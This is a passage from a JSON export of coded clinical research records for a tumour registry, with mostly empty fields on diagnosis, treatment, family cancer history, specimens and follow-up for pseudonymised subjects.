s_at_submit_site___0":"0","metas_at_submit_site___1":"0","metas_at_submit_site___2":"0","metas_at_submit_site___3":"0","metas_at_submit_site___4":"0","metas_at_submit_site___5":"0","if_other_describe_metatases_sites":"","site_prog":"","time_to_prog":"","relapse_number2_7d6":"","time_surg_prog2_a49":"","tumor_or_molecular_tests___1":"1","tumor_or_molecular_tests___2":"0","tumor_or_molecular_tests___3":"1","tumor_or_molecular_tests___4":"0","tumor_or_molecular_tests___8":"0","tumor_or_molecular_tests___9":"0","tumor_or_molecular_tests___10":"0","tumor_or_molecular_tests___5":"0","tumor_or_molecular_tests___6":"0","des_tests":"","path_test_avail":"","form_status_dx":"","age":"81","diagnosis_form_complete":"0","date_form_completed_up":"","follow_up_visit_status":"","reason_for_no_visit":"","date_of_visit_follow_up":"","clin_status":"","tumor_status2":"","relapse_death":"","diag_death":"","cause_death":"","coordinator_notes":"","form_status_u":"","subj_age":"","updates_data_form_complete":"","treatment_status":"1","treatment_update_due_to":"","surgery":"1","tumor_resection_extent":"1","specimen_to_cbttc":"1","sample_origin":"4","radiation":"1","start_date_rad":"","start_date_rad_unavail":"","stop_date_rad":"","stop_date_rad_unavail":"","rad_site":"","other_type_describe":"","rad_final_dose":"","csi_focal_dose":"","radiation_type___1":"0","radiation_type___2":"0","radiation_type___3":"0","radiation_type___4":"0","radiation_type___5":"0","radiation_type___6":"0","other_type":"","description_of_radiation_t":"","chemo":"1","chemo_type":"","like_protocol_name":"","start_date_chemo":"","start_date_chemo_unavail":"","stop_date_chemo":"","stop_date_chemo_unavail":"","planned_chemo_agents":"","description_of_chemotherap":"","asct":"","treatment_complete":"","form_status_t":"","treatment_form_complete":"0","formstatus_demo":"1","date_form_completed":"2014-03-17","general_comments":"","gender":"0","subject_ethnicity":"2","race___1":"1","race___2":"","race___3":"","race___4":"","race___5":"","race___7":"","form_status_dm":"","demographics_form_complete":"","formstatus_medhis":"1","canc_predisp_condition___1":"","canc_predisp_condition___2":"","canc_predisp_condition___3":"","canc_predisp_condition___4":"","canc_predisp_condition___5":"","canc_predisp_condition___6":"","canc_predisp_condition___7":"1","describe_predis":"","germline":"","results_available":"","cancer_predis_relative":"","family_history":"2","family_member___1":"","family_member___2":"","family_member___3":"","family_member___4":"","family_member___5":"","family_member___6":"","family_member___7":"","family_member___8":"","family_member___9":"","family_member___10":"","family_member___11":"","other_family_history":"","cancer_type___1":"","cancer_type___2":"","cancer_type___3":"","cancer_type___4":"","cancer_type___5":"","cancer_type___6":"","cancer_type___7":"","cancer_type___8":"","cancer_type___9":"","cancer_type___10":"","cancer_type___11":"","cancer_type___12":"","cancer_type___13":"","cancer_type___14":"","cancer_type___15":"","cancer_type___16":"","cancer_type___17":"","other_description":"","father_what_type_of_cancer___1":"","father_what_type_of_cancer___2":"","father_what_type_of_cancer___3":"","father_what_type_of_cancer___4":"","father_what_type_of_cancer___5":"","father_what_type_of_cancer___6":"","father_what_type_of_cancer___7":"","father_what_type_of_cancer___8":"","father_what_type_of_cancer___9":"","father_what_type_of_cancer___10":"","father_what_type_of_cancer___11":"","father_what_type_of_cancer___12":"","father_what_type_of_cancer___13":"","father_what_type_of_cancer___14":"","father_what_type_of_cancer___15":"","father_what_type_of_cancer___16":"","father_what_type_of_cancer___17":"","father_description_of_othe":"","sister_what_type_of_cancer___1":"","sister_what_type_of_cancer___2":"","sister_what_type_of_cancer___3":"","sister_what_type_of_cancer___4":"","sister_what_type_of_cancer___5":"","sister_what_type_of_cancer___6":"","sister_what_type_of_cancer___7":"","sister_what_type_of_cancer___8":"","sister_what_type_of_cancer___9":"","sister_what_type_of_cancer___10":"","sister_what_type_of_cancer___11":"","sister_what_type_of_cancer___12":"","sister_what_type_of_cancer___13":"","sister_what_type_of_cancer___14":"","sister_what_type_of_cancer___15":"","sister_what_type_of_cancer___16":"","sister_what_type_of_cancer___17":"","sister_description_of_othe":"","brother_what_type_of_cance___1":"","brother_what_type_of_cance___2":"","brother_what_type_of_cance___3":"","brother_what_type_of_cance___4":"","brother_what_type_of_cance___5":"","brother_what_type_of_cance___6":"","brother_what_type_of_cance___7":"","brother_what_type_of_cance___8":"","brother_what_type_of_cance___9":"","brother_what_type_of_cance___10":"","brother_what_type_of_cance___11":"","brother_what_type_of_cance___12":"","brother_what_type_of_cance___13":"","brother_what_type_of_cance___14":"","brother_what_type_of_cance___15":"","brother_what_type_of_cance___16":"","brother_what_type_of_cance___17":"","brother_description_of_oth":"","maternal_grandmother_what___1":"","maternal_grandmother_what___2":"","maternal_grandmother_what___3":"","maternal_grandmother_what___4":"","maternal_grandmother_what___5":"","maternal_grandmother_what___6":"","maternal_grandmother_what___7":"","maternal_grandmother_what___8":"","maternal_grandmother_what___9":"","maternal_grandmother_what___10":"","maternal_grandmother_what___11":"","maternal_grandmother_what___12":"","maternal_grandmother_what___13":"","maternal_grandmother_what___14":"","maternal_grandmother_what___15":"","maternal_grandmother_what___16":"","maternal_grandmother_what___17":"","maternal_grandmother_descr":"","maternal_father_cancer_type___1":"","maternal_father_cancer_type___2":"","maternal_father_cancer_type___3":"","maternal_father_cancer_type___4":"","maternal_father_cancer_type___5":"","maternal_father_cancer_type___6":"","maternal_father_cancer_type___7":"","maternal_father_cancer_type___8":"","maternal_father_cancer_type___9":"","maternal_father_cancer_type___10":"","maternal_father_cancer_type___11":"","maternal_father_cancer_type___12":"","maternal_father_cancer_type___13":"","maternal_father_cancer_type___14":"","maternal_father_cancer_type___15":"","maternal_father_cancer_type___16":"","maternal_father_cancer_type___17":"","maternal_father_descrip_other":"","paternal_mother_cancer_type___1":"","paternal_mother_cancer_type___2":"","paternal_mother_cancer_type___3":"","paternal_mother_cancer_type___4":"","paternal_mother_cancer_type___5":"","paternal_mother_cancer_type___6":"","paternal_mother_cancer_type___7":"","paternal_mother_cancer_type___8":"","paternal_mother_cancer_type___9":"","paternal_mother_cancer_type___10":"","paternal_mother_cancer_type___11":"","paternal_mother_cancer_type___12":"","paternal_mother_cancer_type___13":"","paternal_mother_cancer_type___14":"","paternal_mother_cancer_type___15":"","paternal_mother_cancer_type___16":"","paternal_mother_cancer_type___17":"","paternal_mother_descrip_other":"","paternal_father_type_cancer___1":"","paternal_father_type_cancer___2":"","paternal_father_type_cancer___3":"","paternal_father_type_cancer___4":"","paternal_father_type_cancer___5":"","paternal_father_type_cancer___6":"","paternal_father_type_cancer___7":"","paternal_father_type_cancer___8":"","paternal_father_type_cancer___9":"","paternal_father_type_cancer___10":"","paternal_father_type_cancer___11":"","paternal_father_type_cancer___12":"","paternal_father_type_cancer___13":"","paternal_father_type_cancer___14":"","paternal_father_type_cancer___15":"","paternal_father_type_cancer___16":"","paternal_father_type_cancer___17":"","paternal_father_descrip_other":"","other_what_type_of_cancer___1":"","other_what_type_of_cancer___2":"","other_what_type_of_cancer___3":"","other_what_type_of_cancer___4":"","other_what_type_of_cancer___5":"","other_what_type_of_cancer___6":"","other_what_type_of_cancer___7":"","other_what_type_of_cancer___8":"","other_what_type_of_cancer___9":"","other_what_type_of_cancer___10":"","other_what_type_of_cancer___11":"","other_what_type_of_cancer___12":"","other_what_type_of_cancer___13":"","other_what_type_of_cancer___14":"","other_what_type_of_cancer___15":"","other_what_type_of_cancer___16":"","other_what_type_of_cancer___17":"","other_description_of_other":"","unspecified_what_type_cancer___1":"","unspecified_what_type_cancer___2":"","unspecified_what_type_cancer___3":"","unspecified_what_type_cancer___4":"","unspecified_what_type_cancer___5":"","unspecified_what_type_cancer___6":"","unspecified_what_type_cancer___7":"","unspecified_what_type_cancer___8":"","unspecified_what_type_cancer___9":"","unspecified_what_type_cancer___10":"","unspecified_what_type_cancer___11":"","unspecified_what_type_cancer___12":"","unspecified_what_type_cancer___13":"","unspecified_what_type_cancer___14":"","unspecified_what_type_cancer___15":"","unspecified_what_type_cancer___16":"","unspecified_what_type_cancer___17":"","unspecified_des_other_type":"","form_status_mh":"","medical_history_complete":"","enrollment_type2":"","specimen_form_complete":"","specimen_collection_date":"","specimen_type___1":"","specimen_type___2":"","specimen_type___3":"","specimen_type___4":"","specimen_type___5":"","specimen_type___6":"","specimen_type___7":"","collection_tx_status":"","form_status_so":"","specimen_only_complete":"","recurrent":"2","if_recurrent_please_descri":"","relapse_number":"","recurr_date_ofl_diagn2_c7b":"","subject_age_at_recurrence":"","path_diag2_605":"","recur_path_diag2_c0e___1":"0","recur_path_diag2_c0e___17":"0","recur_path_diag2_c0e___2":"0","recur_path_diag2_c0e___3":"0","recur_path_diag2_c0e___18":"0","recur_path_diag2_c0e___5":"0","recur_path_diag2_c0e___6":"0","recur_path_diag2_c0e___7":"0","recur_path_diag2_c0e___8":"0","recur_path_diag2_c0e___19":"0","recur_path_diag2_c0e___20":"0","recur_path_diag2_c0e___21":"0","recur_path_diag2_c0e___22":"0","recur_path_diag2_c0e___10":"0","recur_path_diag2_c0e___11":"0","recur_path_diag2_c0e___12":"0","recur_path_diag2_c0e___15":"0","recur_path_diag2_c0e___16":"0","recur_path_diag2_c0e___23":"0","recur_path_diag2_c0e___24":"0","recur_path_diag2_c0e___25":"0","recur_path_diag2_c0e___26":"0","recur_path_diag2_c0e___27":"0","recur_path_diag2_c0e___28":"0","recur_path_diag2_c0e___29":"0","recur_path_diag2_c0e___30":"0","recur_path_diag2_c0e___31":"0","recur_path_diag2_c0e___14":"0","diag_other2_cf02_e7a":"","operations_center_pat2_686":"","tumor_primary_locatio2_533___1":"0","tumor_primary_locatio2_533___2":"0","tumor_primary_locatio2_533___3":"0","tumor_primary_locatio2_533___4":"0","tumor_primary_locatio2_533___5":"0","tumor_primary_locatio2_533___6":"0","tumor_primary_locatio2_533___7":"0","tumor_primary_locatio2_533___8":"0","tumor_primary_locatio2_533___9":"0","tumor_primary_locatio2_533___10":"0","tumor_primary_locatio2_533___11":"0","tumor_primary_locatio2_533___12":"0","tumor_primary_locatio2_533___13":"0","tumor_primary_locatio2_533___14":"0","tumor_primary_locatio2_533___15":"0","tumor_primary_locatio2_533___16":"0","tumor_primary_locatio2_533___17":"0","tumor_primary_locatio2_533___18":"0","tumor_primary_locatio2_533___19":"0","diag_other2_cf02_e7a2_a55":"","tumor_resection_exten2_7e9":"","metas_at_init_diag_desc":"","metas_at_submit":"1","metas_at_submit_other":"","initial_data_form_old_complete":"0","update_type":"","monitor_only":"1","monitor_only_after_surgery":"","tumor_status":"","path_diag2_6052_f19":"","recur_path_diag2_c0e2_575___1":"","recur_path_diag2_c0e2_575___17":"","recur_path_diag2_c0e2_575___2":"","recur_path_diag2_c0e2_575___3":"","recur_path_diag2_c0e2_575___18":"","recur_path_diag2_c0e2_575___5":"","recur_path_diag2_c0e2_575___6":"","recur_path_diag2_c0e2_575___7":"","recur_path_diag2_c0e2_575___8":"","recur_path_diag2_c0e2_575___19":"","recur_path_diag2_c0e2_575___20":"","recur_path_diag2_c0e2_575___21":"","recur_path_diag2_c0e2_575___22":"","recur_path_diag2_c0e2_575___10":"","recur_path_diag2_c0e2_575___11":"","recur_path_diag2_c0e2_575___12":"","recur_path_diag2_c0e2_575___15":"","recur_path_diag2_c0e2_575___16":"","recur_path_diag2_c0e2_575___23":"","recur_path_diag2_c0e2_575___24":"","recur_path_diag2_c0e2_575___25":"","recur_path_diag2_c0e2_575___26":"","recur_path_diag2_c0e2_575___27":"","recur_path_diag2_c0e2_575___28":"","recur_path_diag2_c0e2_575___29":"","recur_path_diag2_c0e2_575___30":"","recur_path_diag2_c0e2_575___31":"","recur_path_diag2_c0e2_575___14":"","if_other_describe":"","operations_center_pat2_97f":"","tumor_primary_locatio2_f42___1":"","tumor_primary_locatio2_f42___2":"","tumor_primary_locatio2_f42___3":"","tumor_primary_locatio2_f42___4":"","tumor_primary_locatio2_f42___5":"","tumor_primary_locatio2_f42___6":"","tumor_primary_locatio2_f42___7":"","tumor_primary_locatio2_f42___8":"","tumor_primary_locatio2_f42___9":"","tumor_primary_locatio2_f42___10":"","tumor_primary_locatio2_f42___11":"","tumor_primary_locatio2_f42___12":"","tumor_primary_locatio2_f42___13":"","tumor_primary_locatio2_f42___14":"","tumor_primary_locatio2_f42___15":"","tumor_primary_locatio2_f42___16":"","tumor_primary_locatio2_f42___17":"","tumor_primary_locatio2_f42___18":"","tumor_primary_locatio2_f42___19":"","if_other_describe_tl":"","tumor_resection_exten2_207":"","time_surg_prog":"","subject_age_at_recurr2_c64":"","meta_site___1":"","meta_site___2":"","meta_site___3":"","meta_site___4":"","otherdescrip":"","if_no_why":"","was_a_new_treatment_plan_i":"","why_was_new_treatment_init___1":"","why_was_new_treatment_init___2":"","why_was_new_treatment_init___3":"","why_was_new_treatment_init___4":"","new_tumor_treat2_b8b___4":"","new_tumor_treat2_b8b___0":"","new_tumor_treat2_b8b___1":"","new_tumor_treat2_b8b___2":"","new_tumor_treat2_b8b___5":"","new_tumor_treat2_b8b___3":"","if_other_describe_ntt":"","rad_final_dose2_cd4":"","rad_sites2_3b0":"","planned_chemo_agents2_3b0":"","therapy_desc2_05a":"","describe_study_protoc2_eb1":"","additional_tumor_molecular___1":"","additional_tumor_molecular___2":"","additional_tumor_molecular___3":"","additional_tumor_molecular___4":"","additional_tumor_molecular___5":"","additional_tumor_molecular___6":"","if_other_describe_att":"","test_results":"","other_status":"","reason_visit_not_completed":"","updates_data_old_complete":"","date_tissue_1_submitted":"","collectiontime":"","volume1":"","tissue_format1":"","date_tissue_2_submitted":"","collectiontime2_017":"","volume2":"","tissue_format2":"","date_tissue_3_submitted":"","collectiontime2_0172_40f":"","volume3":"","tissue_format3":"","date_tissue_4_submitted":"","collectiontime2_0172_2_83e":"","volume4":"","tissue_format4":"","date_tissue_5_submitted":"","collectiontime2_0172_2_e27":"","volume5":"","tissue_forma5":"","date_tissue_6_submitted":"","collectiontime2_0172_2_e9a":"","volume6":"","tissue_format6":"","date_tissue_7_submitted":"","collectiontime2_0172_2_441":"","volume62_146":"","tissue_format62_a87":"","date_tissue_8_submitted":"","collectiontime2_0172_2_f7f":"","volume62_1462_7bd":"","tissue_format62_a872_ab9":"","other_notes":"","numsamples":"","sampledate":"","date_of_child_blood_submis":"","samplevolume1":"","date_of_child_blood_s2_cb6":"","sampledate2_b77":"","samplevolume2":"","dateparentsample":"","date_paternal_blood_submit":"","parentsamplevol1":"","dateparentsample2_20e":"","date_maternal_blood_submit":"","parentsamplevol2":"","slide_format___1":"0","slide_format___2":"0","slide_format___3":"0","numbers_of_slides":"","describe_stains_used_on_sl":"","date_slide_images_submitte":"","csfcollectiondate":"","csf_1_submission_date":"","csf_counts":"","csfvolume1":"","csfcollectiondate2_36a":"","csf_2_submission_date":"","csf_counts2_540":"","csfvolume2":"","csfcollectiondate2_362_09a":"","cfs_3_submission_date":"","csf_counts2_b0a":"","csfvolume22_930":"","please_use_this_area_to_do":"","specimen_information_form_complete":"0","autopsy_type":"","autop_subj_age":"","time_init_diag_to_death":"","autop_gentest_results":"","update_type_autopsy":"","autop_relapse_death":"","autop_death_tumor":"","autop_report_status":"","autopsy_updates_data_old_complete":"","family_members":"","medical_history_form_old_complete":"","rad_sites":"","planned_rad_dose":"","planned_fractions":"","completed_fractions":"","like_protocol":"","describe_study_protocol":"","num_planned_cycles":"","num_completed_cycles":"","other_therapy":"2","other_therapy_desc":"","on_study_protocol":"","arm_random":"","rad_sites_defined___1":"","rad_sites_defined___2":"","rad_sites_defined___3":"","rad_sites_defined___4":"","rad_sites_defined___5":"","rad_sites_defined___6":"","rad_sites_defined___7":"","treatment_form_old_complete":"","tumor_or_molecular_tests_d___1":"1","tumor_or_molecular_tests_d___2":"","tumor_or_molecular_tests_d___3":"1","tumor_or_molecular_tests_d___4":"","tumor_or_molecular_tests_d___5":"","tumor_or_molecular_tests_d___6":"","tumor_or_molecular_tests_d___7":"","diagnosis_form_old_complete":""},{"study_id":"YU80UHY3I10CBT6X:T7S9TDGK1","redcap_event_name":"3_month_update_arm_1","enrollment_type":"","autop_form_complete":"","general_comm_diagnosis":"","clinical_status_at_diagnosis":"","autop_cause_death":"","autopsy":"","diagnosis_type":"","other_med_condition___1":"","other_med_condition___2":"","other_med_condition___3":"","other_med_condition___4":"","other_med_condition___5":"","other_med_condition___6":"","other_med_condition___7":"","other_med_condition___8":"","other_med_condition___9":"","other_med_condition___10":"","other_med_condition___11":"","other_med_condition___12":"","describe":"","vps_etv":"","date_of_initial_diagnosis":"","operations_center_patholog":"","path_diag":"","init_path_diag___1":"","init_path_diag___17":"","init_path_diag___2":"","init_path_diag___3":"","init_path_diag___18":"","init_path_diag___5":"","init_path_diag___6":"","init_path_diag___7":"","init_path_diag___8":"","init_path_diag___19":"","init_path_diag___20":"","init_path_diag___21":"","init_path_diag___22":"","init_path_diag___10":"","init_path_diag___11":"","init_path_diag___12":"","init_path_diag___15":"","init_path_diag___16":"","init_path_diag___23":"","init_path_diag___24":"","init_path_diag___25":"","init_path_diag___26":"","init_path_diag___27":"","init_path_diag___28":"","init_path_diag___29":"","init_path_diag___30":"","init_path_diag___31":"","init_path_diag___14":"","init_path_diag___32":"","init_path_diag___33":"","init_path_diag___34":"","init_path_diag___35":"","init_path_diag___36":"","diag_other":"","tumor_primary_location_in___1":"","tumor_primary_location_in___2":"","tumor_primary_location_in___3":"","tumor_primary_location_in___4":"","tumor_primary_location_in___5":"","tumor_primary_location_in___6":"","tumor_primary_location_in___7":"","tumor_primary_location_in___8":"","tumor_primary_location_in___9":"","tumor_primary_location_in___10":"","tumor_primary_location_in___11":"","tumor_primary_location_in___12":"","tumor_primary_location_in___13":"","tumor_primary_location_in___14":"","tumor_primary_location_in___15":"","tumor_primary_location_in___16":"","tumor_primary_location_in___17":"","tumor_primary_location_in___18":"","tumor_primary_location_in___19":"","tumor_primary_location_in___20":"","tumor_primary_location_in___21":"","tumor_primary_location_in___22":"","tumor_primary_location_in___23":"","diag_other2_cf0":"","metas_at_init_diag":"","metas_at_submit_site___0":"","metas_at_submit_site___1":"","metas_at_submit_site___2":"","metas_at_submit_site___3":"","metas_at_submit_site___4":"","metas_at_submit_site___5":"","if_other_describe_metatases_sites":"","site_prog":"","time_to_prog":"","relapse_number2_7d6":"","time_surg_prog2_a49":"","tumor_or_molecular_tests___1":"","tumor_or_molecular_tests___2":"","tumor_or_molecular_tests___3":"","tumor_or_molecular_tests___4":"","tumor_or_molecular_tests___8":"","tumor_or_molecular_tests___9":"","tumor_or_molecular_tests___10":"","tumor_or_molecular_tests___5":"","tumor_or_molecular_tests___6":"","des_tests":"","path_test_avail":"","form_status_dx":"","age":"","diagnosis_form_complete":"","date_form_completed_up":"2014-03-17","follow_up_visit_status":"1","reason_for_no_visit":"","date_of_visit_follow_up":"","clin_status":"1","tumor_status2":"1","relapse_death":"","diag_death":"","cause_death":"","coordinator_notes":"","form_status_u":"","subj_age":"85","updates_data_form_complete":"0","treatment_status":"4","treatment_update_due_to":"","surgery":"","tumor_resection_extent":"","specimen_to_cbttc":"","sample_origin":"","radiation":"","start_date_rad":"","start_date_rad_unavail":"","stop_date_rad":"","stop_date_rad_unavail":"","rad_site":"","other_type_describe":"","rad_final_dose":"","csi_focal_dose":"","radiation_type___1":"0","radiation_type___2":"0","radiation_type___3":"0","radiation_type___4":"0","radiation_type___5":"0","radiation_type___6":"0","other_type":"","description_of_radiation_t":"","chemo":"","chemo_type":"","like_protocol_name":"","start_date_chemo":"","start_date_chemo_unavail":"","stop_date_chemo":"","stop_date_chemo_unavail":"","planned_chemo_agents":"","description_of_chemotherap":"","asct":"","treatment_complete":"","form_status_t":"","treatment_form_complete":"0","formstatus_demo":"","date_form_completed":"","general_comments":"","gender":"","subject_ethnicity":"","race___1":"","race___2":"","race___3":"","race___4":"","race___5":"","race___7":"","form_status_dm":"","demographics_form_complete":"","formstatus_medhis":"","canc_predisp_condition___1":"","canc_predisp_condition___2":"","canc_predisp_condition___3":"","canc_predisp_condition___4":"","canc_predisp_condition___5":"","canc_predisp_condition___6":"","canc_predisp_condition___7":"","describe_predis":"","germline":"","results_available":"","cancer_predis_relative":"","family_history":"","family_member___1":"","family_member___2":"","family_member___3":"","family_member___4":"","family_member___5":"","family_member___6":"","family_member___7":"","family_member___8":"","family_member___9":"","family_member___10":"","family_member___11":"","other_family_history":"","cancer_type___1":"","cancer_type___2":"","cancer_type___3":"","cancer_type___4":"","cancer_type___5":"","cancer_type___6":"","cancer_type___7":"","cancer_type___8":"","cancer_type___9":"","cancer_type___10":"","cancer_type___11":"","cancer_type___12":"","cancer_type___13":"","cancer_type___14":"","cancer_type___15":"","cancer_type___16":"","cancer_type___17":"","other_description":"","father_what_type_of_cancer___1":"","father_what_type_of_cancer___2":"","father_what_type_of_cancer___3":"","father_what_type_of_cancer___4":"","father_what_type_of_cancer___5":"","father_what_type_of_cancer___6":"","father_what_type_of_cancer___7":"","father_what_type_of_cancer___8":"","father_what_type_of_cancer___9":"","father_what_type_of_cancer___10":"","father_what_type_of_cancer___11":"","father_what_type_of_cancer___12":"","father_what_type_of_cancer___13":"","father_what_type_of_cancer___14":"","father_what_type_of_cancer___15":"","father_what_type_of_cancer___16":"","father_what_type_of_cancer___17":"","father_description_of_othe":"","sister_what_type_of_cancer___1":"","sister_what_type_of_cancer___2":"","sister_what_type_of_cancer___3":"","sister_what_type_of_cancer___4":"","sister_what_type_of_cancer___5":"","sister_what_type_of_cancer___6":"","sister_what_type_of_cancer___7":"","sister_what_type_of_cancer___8":"","sister_what_type_of_cancer___9":"","sister_what_type_of_cancer___10":"","sister_what_type_of_cancer___11":"","sister_what_type_of_cancer___12":"","sister_what_type_of_cancer___13":"","sister_what_type_of_cancer___14":"","sister_what_type_of_cancer___15":"","sister_what_type_of_cancer___16":"","sister_what_type_of_cancer___17":"","sister_description_of_othe":"","brother_what_type_of_cance___1":"","brother_what_type_of_cance___2":"","brother_what_type_of_cance___3":"","brother_what_type_of_cance___4":"","brother_what_type_of_cance___5":"","brother_what_type_of_cance___6":"","brother_what_type_of_cance___7":"","brother_what_type_of_cance___8":"","brother_what_type_of_cance___9":"","brother_what_type_of_cance___10":"","brother_what_type_of_cance___11":"","brother_what_type_of_cance___12":"","brother_what_type_of_cance___13":"","brother_what_type_of_cance___14":"","brother_what_type_of_cance___15":"","brother_what_type_of_cance___16":"","brother_what_type_of_cance___17":"","brother_description_of_oth":"","maternal_grandmother_what___1":"","maternal_grandmother_what___2":"","maternal_grandmother_what___3":"","maternal_grandmother_what___4":"","maternal_grandmother_what___5":"","maternal_grandmother_what___6":"","maternal_grandmother_what___7":"","maternal_grandmother_what___8":"","maternal_grandmother_what___9":"","maternal_grandmother_what___10":"","maternal_grandmother_what___11":"","maternal_grandmother_what___12":"","maternal_grandmother_what___13":"","maternal_grandmother_what___14":"","maternal_grandmother_what___15":"","maternal_grandmother_what___16":"","maternal_grandmother_what___17":"","maternal_grandmother_descr":"","maternal_father_cancer_type___1":"","maternal_father_cancer_type___2":"","maternal_father_cancer_type___3":"","maternal_father_cancer_type___4":"","maternal_father_cancer_type___5":"","maternal_father_cancer_type___6":"","maternal_father_cancer_type___7":"","maternal_father_cancer_type___8":"","maternal_father_cancer_type___9":"","maternal_father_cancer_type___10":"","maternal_father_cancer_type___11":"","maternal_father_cancer_type___12":"","maternal_father_cancer_type___13":"","maternal_father_cancer_type___14":"","maternal_father_cancer_type___15":"","maternal_father_cancer_type___16":"","maternal_father_cancer_type___17":"","maternal_father_descrip_other":"","paternal_mother_cancer_type___1":"","paternal_mother_cancer_type___2":"","paternal_mother_cancer_type___3":"","paternal_mother_cancer_type___4":"","paternal_mother_cancer_type___5":"","paternal_mother_cancer_type___6":"","paternal_mother_cancer_type___7":"","paternal_mother_cancer_type___8":"","paternal_mother_cancer_type___9":"","paternal_mother_cancer_type___10":"","paternal_mother_cancer_type___11":"","paternal_mother_cancer_type___12":"","paternal_mother_cancer_type___13":"","paternal_mother_cancer_type___14":"","paternal_mother_cancer_type___15":"","paternal_mother_cancer_type___16":"","paternal_mother_cancer_type___17":"","paternal_mother_descrip_other":"","paternal_father_type_cancer___1":"","paternal_father_type_cancer___2":"","paternal_father_type_cancer___3":"","paternal_father_type_cancer___4":"","paternal_father_type_cancer___5":"","paternal_father_type_cancer___6":"","paternal_father_type_cancer___7":"","paternal_father_type_cancer___8":"","paternal_father_type_cancer___9":"","paternal_father_type_cancer___10":"","paternal_father_type_cancer___11":"","paternal_father_type_cancer___12":"","paternal_father_type_cancer___13":"","paternal_father_type_cancer___14":"","paternal_father_type_cancer___15":"","paternal_father_type_cancer___16":"","paternal_father_type_cancer___17":"","paternal_father_descrip_other":"","other_what_type_of_cancer___1":"","other_what_type_of_cancer___2":"","other_what_type_of_cancer___3":"","other_what_type_of_cancer___4":"","other_what_type_of_cancer___5":"","other_what_type_of_cancer___6":"","other_what_type_of_cancer___7":"","other_what_type_of_cancer___8":"","other_what_type_of_cancer___9":"","other_what_type_of_cancer___10":"","other_what_type_of_cancer___11":"","other_what_type_of_cancer___12":"","other_what_type_of_cancer___13":"","other_what_type_of_cancer___14":"","other_what_type_of_cancer___15":"","other_what_type_of_cancer___16":"","other_what_type_of_cancer___17":"","other_description_of_other":"","unspecified_what_type_cancer___1":"","unspecified_what_type_cancer___2":"","unspecified_what_type_cancer___3":"","unspecified_what_type_cancer___4":"","unspecified_what_type_cancer___5":"","unspecified_what_type_cancer___6":"","unspecified_what_type_cancer___7":"","unspecified_what_type_cancer___8":"","unspecified_what_type_cancer___9":"","unspecified_what_type_cancer___10":"","unspecified_what_type_cancer___11":"","unspecified_what_type_cancer___12":"","unspecified_what_type_cancer___13":"","unspecified_what_type_cancer___14":"","unspecified_what_type_cancer___15":"","unspecified_what_type_cancer___16":"","unspecified_what_type_cancer___17":"","unspecified_des_other_type":"","form_status_mh":"","medical_history_complete":"","enrollment_type2":"","specimen_form_complete":"","specimen_collection_date":"","specimen_type___1":"","specimen_type___2":"","specimen_type___3":"","specimen_type___4":"","specimen_type___5":"","specimen_type___6":"","specimen_type___7":"","collection_tx_status":"","form_status_so":"","specimen_only_complete":"","recurrent":"","if_recurrent_please_descri":"","relapse_number":"","recurr_date_ofl_diagn2_c7b":"","subject_age_at_recurrence":"","path_diag2_605":"","recur_path_diag2_c0e___1":"","recur_path_diag2_c0e___17":"","recur_path_diag2_c0e___2":"","recur_path_diag2_c0e___3":"","recur_path_diag2_c0e___18":"","recur_path_diag2_c0e___5":"","recur_path_diag2_c0e___6":"","recur_path_diag2_c0e___7":"","recur_path_diag2_c0e___8":"","recur_path_diag2_c0e___19":"","recur_path_diag2_c0e___20":"","recur_path_diag2_c0e___21":"","recur_path_diag2_c0e___22":"","recur_path_diag2_c0e___10":"","recur_path_diag2_c0e___11":"","recur_path_diag2_c0e___12":"","recur_path_diag2_c0e___15":"","recur_path_diag2_c0e___16":"","recur_path_diag2_c0e___23":"","recur_path_diag2_c0e___24":"","recur_path_diag2_c0e___25":"","recur_path_diag2_c0e___26":"","recur_path_diag2_c0e___27":"","recur_path_diag2_c0e___28":"","recur_path_diag2_c0e___29":"","recur_path_diag2_c0e___30":"","recur_path_diag2_c0e___31":"","recur_path_diag2_c0e___14":"","diag_other2_cf02_e7a":"","operations_center_pat2_686":"","tumor_primary_locatio2_533___1":"","tumor_primary_locatio2_533___2":"","tumor_primary_locatio2_533___3":"","tumor_primary_locatio2_533___4":"","tumor_primary_locatio2_533___5":"","tumor_primary_locatio2_533___6":"","tumor_primary_locatio2_533___7":"","tumor_primary_locatio2_533___8":"","tumor_primary_locatio2_533___9":"","tumor_primary_locatio2_533___10":"","tumor_primary_locatio2_533___11":"","tumor_primary_locatio2_533___12":"","tumor_primary_locatio2_533___13":"","tumor_primary_locatio2_533___14":"","tumor_primary_locatio2_533___15":"","tumor_primary_locatio2_533___16":"","tumor_primary_locatio2_533___17":"","tumor_primary_locatio2_533___18":"","tumor_primary_locatio2_533___19":"","diag_other2_cf02_e7a2_a55":"","tumor_resection_exten2_7e9":"","metas_at_init_diag_desc":"","metas_at_submit":"","metas_at_submit_other":"","initial_data_form_old_complete":"","update_type":"1","monitor_only":"","monitor_only_after_surgery":"","tumor_status":"1","path_diag2_6052_f19":"","recur_path_diag2_c0e2_575___1":"0","recur_path_diag2_c0e2_575___17":"0","recur_path_diag2_c0e2_575___2":"0","recur_path_diag2_c0e2_575___3":"0","recur_path_diag2_c0e2_575___18":"0","recur_path_diag2_c0e2_575___5":"0","recur_path_diag2_c0e2_575___6":"0","recur_path_diag2_c0e2_575___7":"0","recur_path_diag2_c0e2_575___8":"0","recur_path_diag2_c0e2_575___19":"0","recur_path_diag2_c0e2_575___20":"0","recur_path_diag2_c0e2_575___21":"0","recur_path_diag2_c0e2_575___22":"0","recur_path_diag2_c0e2_575___10":"0","recur_path_diag2_c0e2_575___11":"0","recur_path_diag2_c0e2_575___12":"0","recur_path_diag2_c0e2_575___15":"0","recur_path_diag2_c0e2_575___16":"0","recur_path_diag2_c0e2_575___23":"0","recur_path_diag2_c0e2_575___24":"0","recur_path_diag2_c0e2_575___25":"0","recur_path_diag2_c0e2_575___26":"0","recur_path_diag2_c0e2_575___27":"0","recur_path_diag2_c0e2_575___28":"0","recur_path_diag2_c0e2_575___29":"0","recur_path_diag2_c0e2_575___30":"0","recur_path_diag2_c0e2_575___31":"0","recur_path_diag2_c0e2_575___14":"0","if_other_describe":"","operations_center_pat2_97f":"","tumor_primary_locatio2_f42___1":"0","tumor_primary_locatio2_f42___2":"0","tumor_primary_locatio2_f42___3":"0","tumor_primary_locatio2_f42___4":"0","tumor_primary_locatio2_f42___5":"0","tumor_primary_locatio2_f42___6":"0","tumor_primary_locatio2_f42___7":"0","tumor_primary_locatio2_f42___8":"0","tumor_primary_locatio2_f42___9":"0","tumor_primary_locatio2_f42___10":"0","tumor_primary_locatio2_f42___11":"0","tumor_primary_l